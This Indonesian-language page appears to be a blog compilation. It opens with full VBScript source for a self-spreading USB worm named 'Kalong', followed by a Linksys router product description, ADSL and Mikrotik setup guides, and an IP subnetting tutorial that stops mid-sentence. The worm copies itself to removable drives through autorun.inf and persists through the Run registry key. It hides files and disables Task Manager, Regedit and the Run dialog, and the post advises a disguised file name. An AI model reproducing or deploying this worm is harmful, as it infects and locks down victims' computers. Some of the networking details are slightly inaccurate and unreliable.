on error resume next
‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd
‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket
for each flashdrive in fs.drives
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘//–Manipulasi Registry–//
set kalong = createobject(”WScript.Shell”)
‘//–Manip – Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “
‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”
‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”
‘//–Manip – Disable klik kanan–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”
‘//–Manip – Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”
‘//–Manip – Aktif setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “
‘//–Manip – Ubah RegisteredOwner dan Organization–//
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”
‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode
Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4mv4x.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.
DAMN!!!!
Merek baru wireless-G router dari Linksys!
WAG54G2 Linksys Wireless-G ADSL2 + Gateway adalah semua-dalam-satu solusi untuk konektivitas internet di rumah Anda. Yang ADSL2 + Modem memberi Anda sambungan cepat berkobar ke Internet, mengambil keuntungan dari standar ADSL terbaru untuk proveide hingga 24Mbps konektivitas
Linksys Highlights WAG54G2-Inggris
* High-speed ADSL2 + Modem memberikan Anda yang cepat, "Selalu Aktif" koneksi ke Internet
* Hubungkan PC Anda melalui built-in Router and 4-port Switch to jump start jaringan Ethernet Anda dan berbagi internet di seluruh rumah tangga
* Built-in Wireless-G (802.11g) Access Point terintegrasi dengan antena gain tinggi juga memungkinkan Anda menghubungkan tanpa kabel menjalankan
* Advanced firewall dan fitur keamanan melindungi PC Anda, data Anda, dan keluarga Anda
* Linksys EasyLink Advisor (LELA) - Bangun dan berjalan dalam hitungan menit
Hubungkan komputer ke Gateway melalui built-in 4-port 10/100 Ethernet Switch to jump start jaringan rumah Anda. Anda dapat berbagi file, printer, hard drive space dan sumber daya lainnya, atau memutar kepala-to-head PC games. Lampirkan empat PC secara langsung, atau menghubungkan lebih hub dan switch untuk membuat jaringan sebesar yang Anda butuhkan. Built-in Wireless-G (802.11g) Access Point dengan tinggi gain antena hingga 32 memungkinkan perangkat nirkabel untuk menyambung ke jaringan Anda di terik 54Mbps, tanpa berlari kabel di dalam rumah. Ini juga kompatibel dengan Wireless-B (802.11b) devices, at 11Mbps. The Gateway's Router fungsi ikatan itu semua bersama-sama dan memungkinkan seluruh jaringan berbagi yang tinggi kecepatan koneksi internet.
Setelah komputer Anda tersambung ke WAG54G2 Gateway dan Internet, mereka dapat berkomunikasi satu sama lain juga, berbagi sumber daya dan file. Semua komputer dapat mencetak pada printer yang terhubung bersama di mana saja di rumah. Dan komputer Anda dapat berbagi semua jenis file - musik, gambar digital, dan dokumen. Menyimpan semua musik digital Anda pada satu komputer, dan mendengarkannya di mana saja di rumah. Atur semua keluarga Anda gambar digital di satu tempat, untuk menyederhanakan menemukan yang Anda inginkan, dan mengurangi backup ke CD-R. Memanfaatkan tambahan ruang kosong pada satu komputer ketika hard drive lainnya mulai mengisi.
Baru Wi-Fi Protected Setup fitur yang memudahkan untuk mengkonfigurasi perangkat nirkabel Anda. Hanya menekan tombol pada Gateway dan di lain Anda Wi-Fi Protected Setup-memungkinkan perangkat nirkabel untuk secara otomatis membuat sambungan WPA2 yang melindungi data dan privasi Anda dengan sampai 128-bit kekuatan industri-enkripsi. Gateway dapat berfungsi sebagai DHCP Server, memiliki SPI firewall yang kuat untuk melindungi PC Anda dari penyusup dan serangan internet paling dikenal, mendukung VPN pass-through, dan dapat dikonfigurasi untuk menyaring pengguna internal 'akses ke Internet. Konfigurasi Advanced sekejap dengan browser web berbasis antarmuka, dan Linksys 'jaringan LELA asisten.
Fitur Utama
* Built-in ADSL modem Multimode, T1.413, G.dmt, G.lite, ADSL2, ADSL2 +, ADSL2 L, ADSL2 M, dan ADSL2 + M dukungan
* Meningkatkan fungsi-fungsi manajemen keamanan: Port Filtering, MAC dan IP Address Filtering, DMZ Hosting, dan NAT Teknologi
* Denial of Service (DoS) pencegahan ping membantu mencegah kematian, SYN banjir, tanah serangan, dan IP spoofing
* Tdk dpt dibandingkan keamanan nirkabel dengan Wi-Fi Protected Access ™ 2 (WPA2)
* Wi-Fi Protected Setup dukungan
* Wall mountable
* Supports VPN passthrough untuk IPSec, PPPoE, PPTP, dan protokol L2TP
* Supports Static and Dynamic Routing (RIP1 dan 2)
* DHCP Server kemampuan untuk memberikan alamat IP secara otomatis
Remote administrasi dan terpencil upgrade tersedia melalui Internet
* Email dan Web-based penebangan peristiwa keamanan
Mendukung SNTP (Simple Network Time Protocol) untuk sinkronisasi dengan real-time server
Dengan WAG54G2 Linksys Wireless-G ADSL2 + Gateway di jantung jaringan rumah Anda, Anda terhubung ke masa depan.
SPESIFIKASI
Model
* WAG54G2
Standar
* 802.11g,
* 802.11b,
* T1.413i2,
* G.992.1 (G. DMT),
* G.992.2 (G. Lite),
* G.992.3 / 4 (ADSL2),
* Lampiran L G.992.3 (ADSL2 L),
* Lampiran M G.992.3 (ADSL2 M),
* G.992.5 (ADSL2 +),
* Lampiran M G.992.5 (ADSL2 + M),
* G.994.1 (G.hs),
* G.996.1 (G.test),
* U-R2 untuk Lampiran B
Ports
* DSL,
* Ethernet (1-4),
Power
Buttons
* Reset,
* Wi-Fi Protected Setup ™
LED
* Power,
* Ethernet,
* Keamanan,
* Wireless,
* DSL,
* Internet
Cabling Type
* CAT 5 UTP,
* RJ-11,
* RJ-45
# Of Antennas
* 1
Connector type
* Internal
RF Pwr (EIRP)
* 802.11g: 15 dBm,
* 802.11b: 17 dBm
Antenna Gain
* 2 dBi
UPnP mampu / cert
* Mampu
Keamanan
* VPN Passthrough (IPSec, PPPoE, PPTP, L2TP),
* DoS Protection,
* WPA2/WPA Personal dan Enterprise,
* WEP,
* MAC Address Filtering,
* NAT,
* SPI Firewall
Protokol routing & Manajemen
* Static dan Dynamic Routing,
* RIP (v1/v2),
* IGMP,
* QoS,
* WMM,
* UPnP,
* MAC Address Cloning
Lingkungan
Dimensions
o 7,95 "x 1,34" x 6,30 "(202 x 34 x 160 mm)
Berat
o 12,77 oz (340 g)
Power
o DC 12V/1A
* Sertifikasi
o FCC,
o IC,
o CE
o A-Tick,
o IDA,
o Wi-Fi (802.11b / g),
o WPA,
o WPA2,
o Telepermit,
o Anatel
* Operating Temp.
o 32-104 ° F (0 to 40 ° C)
* Storage Temp.
o -4 to 158 ° F (-20 hingga 70 ° C)
* Kelembaban Operasional
o 10-85% Noncondensing
* Kelembaban Penyimpanan
o 5-90% Noncondensing
Isi Paket
* Wireless-G ADSL2 + Gateway
* Setup CD-ROM dengan EasyLink Linksys Penasihat (LELA)
* Panduan Pengguna pada CD-ROM
* Power Adapter
Network Kabel
* Microfilter (UK only)
* Telepon Kabel (Lampiran A saja)
* Trend Micro Internet Security 30 hari percobaan gratis
Persyaratan Minimum
* Komputer dengan adaptor jaringan dan TCP / IP protokol diinstal
* Activated ADSL line dan informasi account
* CD-ROM Drive
* Untuk Setup Wizard: Windows (Vista, XP, 2000 SP4) atau Mac OS X (v10.4.9 atau yang lebih tinggi) dengan semua pembaruan diterapkan dan CD-ROM
* Internet Explorer 6.0, Firefox 2.0, atau Safari 3.0 atau lebih tinggi untuk konfigurasi berbasis web (Adanced users only)
Setting Hotspot menggunakan Linksys Wireless –G WRT54G
Langkah - langkah Setting Hotspot menggunakan Linksys Wireless –G Model WRT54G :
1. Klik Start2. Pilih "connect to"
2. Lalu pilih "Wirelles connection 2"
3. Kemudian "Refresh"
4. Tunggu jaringan wireless yang akan keluar
5. Lalu lihat IP dengan cara : klik Start - Run - cmd - ketik “ipconfig/all” pada kolom cmd
6. Setelah itu browsing lewat internet pada bagian “address” ketikan IPnya, misal:192.168.24.1
7. Kemudian isikan :
8. user name = “admin”
9. password = ”admin”
10. Kemudian browsing dan ketik IP awal yang ada (pada langkah 6) pada address
11. Lalu isikan lagi
12. user name = “admin”
13. password = “admin”
14. Setelah itu masuk ke Setup pilih Basic Setup. Bagian atas dengan Static IP lalu Local IP address diganti , misal=192.168.24.1, Starting IP address diganti, misal=192.168.24.40, DHCP Users = 15 (untuk batas maksimal yang di inginkan), Atur time zonenya sesuai dengan negara masing-masing.misal (GMT+7,Hanoi,Jakarta), Lalu save setting.
15. Lalu kita masuk ke Wireless,setelah itu Wireless Network.Muncul kotakan isi Nama kamu ( misal Reza) lalu save setting.
16. Lalu cek melalui star-cmd-ipconfig. Lihat apakah IP sudah ganti atau berubah atau belum.Jika sudah,kita masuk ke browsing rnterner dan ketik IP yang sudah di ubah tadi (misal=192.168.24.1).Lalu refresh dan tunggu jaringan keluar.
17. Jika sudah keluar User name dan ip address akan berubah sesuai dengan ip yang kita pakai (reza,192.168.24.1)
18. Setelah itu kita koneksikan dengan cara klik connect di bagian tampilan bawah kotakan.
19. Jika sudah,maka semua telah terkoneksikan ke intermet.
TD-W8901G 54M Wireless ADSL2 + Modem Router ini dirancang untuk memberikan yang sederhana dan efektif biaya koneksi Internet ADSL untuk pribadi 802.11g/802.11b Ethernet atau jaringan nirkabel.
Router ini mudah digunakan. The TD-W8901G tersambung ke Ethernet LAN atau komputer melalui port Ethernet standar. Koneksi ADSL dibuat menggunakan saluran telepon biasa dengan konektor standar. Beberapa workstation jaringan dan dapat terhubung ke Internet menggunakan satu Wide Area Network (WAN) interface dan satu alamat IP global. Lanjutan peningkatan keamanan, IP / MAC Filter, Filter dan Aplikasi Filter URL dapat membantu untuk melindungi jaringan Anda dari berpotensi berbahaya penyusupan oleh agen-agen dari luar jaringan Anda.
ADSL
The TD-W8901G mendukung penuh tingkat ADSL2 + konektivitas menyesuaikan dengan spesifikasi ITU, dan ANSI. Selain DMT dasar lapisan fisik fungsi tersebut, ADSL2 + PHY mendukung dual latency ADSL2 + membingkai (cepat dan interleaved) dan I.432 ATM Physical Layer.
Wireless
Dalam keamanan nirkabel paling penuh perhatian, Router menyediakan beberapa tindakan perlindungan. Ini dapat ditetapkan untuk menonaktifkan nama jaringan nirkabel (SSID) broadcast sehingga hanya stasiun yang memiliki SSID yang dapat terhubung. Router LAN nirkabel menyediakan keamanan enkripsi WEP 64/128-bit, WPA-PSK/WPA2-PSK otentikasi, serta TKIP / AES keamanan enkripsi
Setting Modem ADSL |
Setting Modem ADSL ARTICONET ACN-100R dan ACN-110R
Cara melakukan setting di komputer untuk akses ke modem Articonet.
Untuk setting di komputer dilakukan sesuai dengan operating system yang dipakai di komputer pelanggan, disini yang dibahas khusus untuk Windows XP.
Lakukan network setting di PC (komputer) sbb :
a. Start – Control Panel – Network Connection
b. arahkan kursor pada Local Area Connection yang aktif, kemudian klik kanan dan pilih properties
c. kemudian pilih menu Internet Protocol (TCP/IP) dan klik 2X, maka akan muncul menu General.
d. Pilih Obtain an IP Address Automatically kemudian pilih Obtain DNS server address automatically, kemudian tekan tombol OK.
Panduan cara setting modem ADSL Speedy koneksi PPPoE.(PPPoE)
Setting modem dilakukan melalui browser dengan mengakses alamat http://192.168.1.1
Masukkan username dan password : admin/admin
Setelah masuk ke menu setting lakukan langkah berikut :
Masuk ke menu "Advanced Setup" kemudian pilih "WAN" dan klik tombol "Edit" disebelah kanan tabel WAN Masukkan nilai PVC Configuration : (masukkan nilainya sesuai wilayah TELKOM masing-masing daerah)
VPI = X
VCI = XX
Service Category = UBR Without PCR, kemudian klik tombol Next
Connection type = PPPoE
Encapsulation = LLC, kemudian klik tombol Next
Masukkan username dan password Speedy, kemudian klik tombol Next
Tandai atau kasih v untuk pilihan "Enable WAN Service", kemudian klik Next dan klik tombol Save
Setting PPPoE untuk koneksi Speedy telah selesai dilakukan
Selanjutnya klik tombol Save/Reboot
(Modem akan reboot -/+1 menit dan tunggu sampai modem normal kembali)
Berikut langkah setting modem ADSL Articonet untuk Dial-Up/Bridge.
Setting modem dilakukan melalui browser dengan mengakses alamat http://192.168.1.1
Masukkan username dan password : admin/admin
Setelah masuk ke menu setting lakukan langkah berikut :
Masuk ke menu "Advanced Setup" kemudian pilih "WAN" dan klik tombol "Edit" Masukkan nilai PVC Configuration : (masukkan nilainya sesuai wilayah TELKOM masing-masing daerah)
VPI = X
VCI = XX
Service Category = UBR Without PCR, kemudian klik tombol Next
Connection type = Bridging
Encapsulation = LLC, kemudian klik tombol Next
Tandai atau kasih v untuk pilihan "Enable Bridge Service", kemudian klik Next dan klik tombol Save
Setting Bridge untuk koneksi Speedy telah selesai dilakukan
Selanjutnya klik tombol Save/Reboot
(Modem akan reboot -/+1 menit dan tunggu sampai modem normal kembali)
Setting modem Articonet untuk koneksi Bridging sudah selesai, langkah berikutnya setting koneksi Dial-Up di PC/komputer.
Panduan instalasi Dial Up koneksi ADSL menggunakan Windows 2000:
1. Klik Start, klik Setting,klik Control Panel,
2. Klik Network and Dial Up Connections.
3. Klik Make New Connection, klik Next,
4. Klik Dial Up to the Internet
5. Klik I want to setup my internet manually, klik Next
6. Klik I connect through a phone line and a modem klik Next
7. Pilih dan klik modem ADSL yang sesuai
8. Isi username : yudistira@telkom.net This e-mail address is being protected from spambots. You need JavaScript enabled to view it
9. Password : xxxxxxxx
10. Klik OK dan Lanjutkan sesuai perintah yang muncul
11. Klik Finish
Panduan installasi Dial Up koneksi ADSL menggunakan Windows Xp:
1. Klik Start, klik Setting, klik Control Panel.
2. Klik Network Connection
3. Klik Create a New Connection, klik Next.
4. Klik Connect to the Internet, klik Next
5. Klik Setup my connection manually, klik Next
6. Klik Connect Using Dial Up, klik Next
7. Klik modem ADSL yang sesuai, klik Next
8. Isi username : yudhistira@telkom.net This e-mail address is being protected from spambots. You need JavaScript enabled to view it dan Password : *******
9. Confirm password : xxxxxxxx
10. kemudian beri tanda v pada pilihan “Add a shortcut to the desktop screen”
11. Klik Finish
Setup Mikrotik sebagai Gateway server
MikroTik RouterOS™, merupakan system operasi Linux base yang diperuntukkan sebagai
network router. Didesain untuk memberikan kemudahan bagi penggunanya. Administrasinya bisa
dilakukan melalui Windows application (WinBox). Selain itu instalasi dapat dilakukan pada
Standard computer PC. PC yang akan dijadikan router mikrotikpun tidak memerlukan resource
yang cukup besar untuk penggunaan standard, misalnya hanya sebagai gateway. Untuk
keperluan beban yang besar ( network yang kompleks, routing yang rumit dll) disarankan untuk
mempertimbangkan pemilihan resource PC yang memadai.
Fasilitas pada mikrotik antara lain sebagai berikut :
- Protokoll routing RIP, OSPF, BGP.
- Statefull firewall
- HotSpot for Plug-and-Play access
- remote winbox GUI admin
Lebih lengkap bisa dilihat di www.mikrotik.com.
Meskipun demikian Mikrotik bukanlah free software, artinya kita harus membeli licensi terhadap
segala fasiltas yang disediakan. Free trial hanya untuk 24 jam saja. Kita bisa membeli software
mikrotik dalam bentuk CD yang diinstall pada Hard disk atau disk on module (DOM). Jika kita
membeli DOM tidak perlu install tetapi tinggal menancapkan DOM pada slot IDE PC kita.
Langkah-langkah berikut adalah dasar-dasar setup mikrotik yang dikonfigurasikan untuk jaringan
sederhana sebagai gateway server.
1. Langkah pertama adalah install Mikrotik RouterOS pada PC atau pasang DOM.
2. Login Pada Mikrotik Routers melalui console :
MikroTik v2.9.7
Login: admin
Password:
Sampai langkah ini kita sudah bisa masuk pada mesin Mikrotik. User default adalah admin
dan tanpa password, tinggal ketik admin kemudian tekan tombol enter.
3. Untuk keamanan ganti password default
[admin@Mikrotik] > password
old password: *****
new password: *****
retype new password: *****
[admin@ Mikrotik]] >
4. Mengganti nama Mikrotik Router, pada langkah ini nama server akan diganti menjadi “Waton”
[admin@Mikrotik] > system identity set name=Waton
[admin@Waton] >
5. Melihat interface pada Mikrotik Router
[admin@Mikrotik] > interface print
Flags: X - disabled, D - dynamic, R - running
# NAME TYPE RX-RATE TX-RATE MTU
0 R ether1 ether 0 0 1500
1 R ether2 ether 0 0 1500
[admin@Mikrotik] >
6. Memberikan IP address pada interface Mikrotik. Misalkan ether1 akan kita gunakan untuk
koneksi ke Internet dengan IP 192.168.0.1 dan ether2 akan kita gunakan untuk network local
kita dengan IP 172.16.0.1
[admin@Waton] > ip address add address=192.168.0.1
netmask=255.255.255.0 interfac
e=ether1
[admin@Waton] > ip address add address=172.16.0.1
netmask=255.255.255.0 interfac
e=ether2
7. Melihat konfigurasi IP address yang sudah kita berikan
[admin@Waton] >ip address print
Flags: X - disabled, I - invalid, D - dynamic
# ADDRESS NETWORK BROADCAST INTERFACE
0 192.168.0.1/24 192.168.0.0 192.168.0.63 ether1
1 172.16.0.1/24 172.16.0.0 172.16.0.255 ether2
[admin@Waton] >
8. Memberikan default Gateway, diasumsikan gateway untuk koneksi internet adalah
192.168.0.254
[admin@Waton] > /ip route add gateway=192.168.0.254
9. Melihat Tabel routing pada Mikrotik Routers
[admin@Waton] > ip route print
Flags: X - disabled, A - active, D - dynamic,
C - connect, S - static, r - rip, b - bgp, o - ospf
# DST-ADDRESS PREFSRC G GATEWAY DISTANCE INTERFACE
0 ADC 172.16.0.0/24 172.16.0.1 ether2
1 ADC 192.168.0.0/26 192.168.0.1 ether1
2 A S 0.0.0.0/0 r 192.168.0.254 ether1
[admin@Waton] >
10. Tes Ping ke Gateway untuk memastikan konfigurasi sudah benar
[admin@Waton] > ping 192.168.0.254
192.168.0.254 64 byte ping: ttl=64 time<1 ms
192.168.0.254 64 byte ping: ttl=64 time<1 ms
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0/0.0/0 ms
[admin@Waton] >
11. Setup DNS pada Mikrotik Routers
[admin@Waton] > ip dns set primary-dns=192.168.0.10 allow-remoterequests=
no
[admin@Waton] > ip dns set secondary-dns=192.168.0.11 allow-remoterequests=
no
12. Melihat konfigurasi DNS
[admin@Waton] > ip dns print
primary-dns: 192.168.0.10
secondary-dns: 192.168.0.11
allow-remote-requests: no
cache-size: 2048KiB
cache-max-ttl: 1w
cache-used: 16KiB
[admin@Waton] >
13. Tes untuk akses domain, misalnya dengan ping nama domain
[admin@Waton] > ping yahoo.com
216.109.112.135 64 byte ping: ttl=48 time=250 ms
10 packets transmitted, 10 packets received, 0% packet loss
round-trip min/avg/max = 571/571.0/571 ms
[admin@Waton] >
Jika sudah berhasil reply berarti seting DNS sudah benar.
14. Setup Masquerading, Jika Mikrotik akan kita pergunakan sebagai gateway server maka agar
client computer pada network dapat terkoneksi ke internet perlu kita masquerading.
[admin@Waton] > ip firewall nat add action=masquerade outinterface=
ether1
chain: srcnat
[admin@Waton] >
15. Melihat konfigurasi Masquerading
[admin@Waton] ip firewall nat print
Flags: X - disabled, I - invalid, D - dynamic
0 chain=srcnat out-interface=ether1 action=masquerade
[admin@Waton] >
Setelah langkah ini bisa dilakukan pemeriksaan untuk koneksi dari jaringan local. Dan jika
berhasil berarti kita sudah berhasil melakukan instalasi Mikrotik Router sebagai Gateway
server. Setelah terkoneksi dengan jaringan Mikrotik dapat dimanage menggunakan WinBox
yang bisa di download dari Mikrotik.com atau dari server mikrotik kita. Misal Ip address server
mikrotik kita 192.168.0.1, via browser buka http://192.168.0.1 dan download WinBox dari situ.
Jika kita menginginkan client mendapatkan IP address secara otomatis maka perlu kita setup
dhcp server pada Mikrotik. Berikut langkah-langkahnya :
1.Buat IP address pool
/ip pool add name=dhcp-pool ranges=172.16.0.10-172.16.0.20
2. Tambahkan DHCP Network dan gatewaynya yang akan didistribusikan ke client
Pada contoh ini networknya adalah 172.16.0.0/24 dan gatewaynya 172.16.0.1
/ip dhcp-server network add address=172.16.0.0/24 gateway=172.16.0.1
3. Tambahkan DHCP Server ( pada contoh ini dhcp diterapkan pada interface ether2 )
/ip dhcp-server add interface=ether2 address-pool=dhcp-pool
4. Lihat status DHCP server
[admin@Waton] > ip dhcp-server print
Flags: X - disabled, I - invalid
# NAME INTERFACE RELAY ADDRESS-POOL LEASE-TIME ADD-ARP
0 X dhcp1 ether2
Tanda X menyatakan bahwa DHCP server belum enable maka perlu dienablekan terlebih
dahulu pada langkah 5.
5. Jangan Lupa dibuat enable dulu dhcp servernya
/ip dhcp-server enable 0
kemudian cek kembali dhcp-server seperti langkah 4, jika tanda X sudah tidak ada berarti
sudah aktif.
6. Tes Dari client
Daftar Pustaka
http://mikrotik.com
mau tau cara setting Access point pada laptop download linknya dong disini… :)
Jika anda ingin menjadi seorang Network Administrator salah tiga syarat utamanya adalah memahami TCP/IP tidak hanya secara Konsep tetapi juga Desain dan Implementasinya.
Dalam tutorial ini saya ingin membagi pengertian yang saya pahami dalam menghitung IP Adress secara cepat.
Kita mulai … lebih cepat lebih baik…
Mungkin anda sudah sering men-setting jaringan dengan protokol TCP/IP dan menggunakan IP Address 192.168.0.1, 192.168.0.2, 192.168.0.3, …dst dengan netmask (subnet) 255.255.255.0 . Namun pernahkah terpikir untuk menggunakan IP selain IP tersebut ? misalnya :
192.168.100.1 netmask 255.255.255.248 atau
192.168.50.16 netmask 255.255.255.240 …???
Teori Singkat & Umum
Untuk mempelajari IP diperlukan pengetahuan tentang Logika dan Sitem Bilangan Biner. IP Address yang akan kita pelajari ini adalah IPv.4 yang berisi angka 32 bit binner yang terbagi dalam 4×8 bit.
Conto :
8 bit 8 bit 8 bit 8 bit
192.168.0.1 -> 1 1 0 0 0 0 0 0 . 1 0 1 0 1 0 0 0 . 0 0 0 0 0 0 0 0 . 0 0 0 0 0 0 0 1
192 . 168 . 0 . 1
Hal yang perlu dipahami dalam penggunaan IP Address secara umum adalah sebagai berikut :
Kelas IP
IP Address di bagi menjadi 5 kelas yakni A, B, C, D dan E. Dasar pertimbangan pembagian kelas ini adalah untuk memudahkan pendistribusian pendaftaran IP Address.
Kelas A
Kelas A ini diberikan untuk jaringan dengan jumlah host yang besar
Bit Pertama : 0 Net-ID : 8 bit Host-ID : 24 bit Range IP : 1.xxx.xxx.xxx – 126.xxx.xxx.xxx Jumlah IP : 16.777.214
Note : 0 dan 127 dicadangkan, 0.0.0.0 dan 127.0.0.0 biasanya dipakai untuk localhost.
Kelas B
Kelas B ini diberikan untuk jaringan dengan jumlah host yang besar
2 Bit Pertama : 10 Net-ID : 16 bit Host-ID : 16 bit Range IP : 128.xxx.xxx.xxx – 191.255.xxx.xxx Jumlah IP : 65.532
Kelas C
3 Bit Pertama : 110 Net-ID : 24 bit Host-ID : 16 bit Range IP : 192.xxx.xxx.xxx – 223.255.255.255 Jumlah IP : 254
Kelas D
4 Bit Pertama : 1110 Byte Inisial : 224 – 247Note : Kelas D ini digunakan untuk keperluan multicasting dan tidak mengenal adanya Net-ID dan Host-ID
Kelas E
4 Bit Pertama : 1111 Byte Inisial : 248 – 255Note : Kelas E ini digunakan untuk keperluan Eksperimental
-> Network ID (Net-ID)
Adalah IP address yang menunjukkan Nomor Jaringan (identitas segmen)
Conto :
Sebuah segmen dengan IP range 192.168.0.0 – 192.168.0.255 netmask 255.255.255.0 maka Net-ID nya adalah 192.168.0.0.
Sebuah jaringan dengan IP range 192.168.5.16 – 192.168.5.31/28 maka Net-ID nya adalah 192.168.5.16Note : Net-ID adalah IP pertama dari sebuah segmen. Dalam implementasinya IP ini tidak dapat digunakan pada sebuah host.
-> IP Broadcast
Adalah IP address yang digunakan untuk broadcast. Dari conto di atas maka IP Broadcast nya adalah 192.168.0.255 .Note : IP Broadcast adalah IP terakhir dari sebuah segmen (kebalikan dari Net-ID). Dalam implementasinya IP ini juga tidak dapat digunakan pada sebuah host.
-> Subnet Mask (Netmask)
Adalah angka binner 32 bit yang digunakan untuk :
membedakan Net-ID dan Host-ID
menunjukkan letak suatu host, apakah berada di jaringan lokal atau jaringan luar
Kelas A : 11111111.00000000.00000000.00000000 = 255.0.0.0 Kelas B : 11111111.11111111.00000000.00000000 = 255.255.0.0 Kelas C : 11111111.11111111.11111111.00000000 = 255.255.255.0
Conto :
sebuah segmen dengan IP range 192.168.0.0 – 192.168.0.255 maka Netmask nya adalah : 255.255.255.0 .
-> Prefix
Adalah penulisan singkat dari sebuah Netmask. Dari conto juga maka prefix nya adalah 24 maka menuliskan prefix-nya 192.168.0.0/24
-> Jumlah IP yang tersedia
Adalah jumlah IP address yang tersedia dalam sebuah segmen (blok). Dari conto di atas maka Jumlah IP yang tersedia sebanyak 256 (192.168.0.0 – 192.168.0.255)Note : Dalam implementasinya tidak semua IP yang tersedia dapat digunakan karena ada 2 IP yang akan digunakan sebagai Net-ID dan Broadcast..
-> Jumlah Host
Adalah jumlah dari IP address yang dapat dipakai dalam sebuah segmen. Dari conto di atas maka jumlah host-nya adalah 254 (192.168.0.1 – 192.168.0.254). IP 192.168.0.0 sebagai Net-ID dan 192.168.0.255 sebagai Broadcast-nya.Note : Jumlah Host = Jumlah IP yg tersedia – 2
-> IP Public
Adalah IP address yang dapat dikenali di jaringan internet.
Conto :
202.95.144.4, 64.3.2.45, 4.2.2.1 dstNote : IP Public akan kita dapatkan jika kita berlangganan Leased Line.
-> IP Private
Adalah IP address yang hanya dapat dikenali di jaringan local (LAN).
Conto :
192.168.1.1, 192.168.0.5, 192.168.10.200 dstNote : IP Private dapat kita gunakan semau kita untuk membangun LAN tanpa harus berlangganan Internet seperti Leased Line.
Memulai Perhitungan
Perhatikan kombinasi angka dibawah ini :
Cara membaca :
Kombinasi angka tersebut adalah untuk netmask 255.255.255.0 yang apabila di konversi ke Bilangan Biner adalah 11111111.11111111.11111111.00000000. Kita ambil 8 bit terakhir yaitu .00000000.
Apabila pada kolom pertama di beri nilai ‘1′ dan yg lainnya bernilai ‘0′ ( .10000000 ) maka
Jumlah IP yang kita miliki (tersedia) sebanyak 128 nomor
Netmask yang harus dipakai adalah 255.255.255.128
Kita dapat menuliskan IP tersebut 192.168.0.0/25 dengan 25 sebagai nilai prefix-nya.
Jumlah segmen yang terbentuk sebanyak 2 yaitu
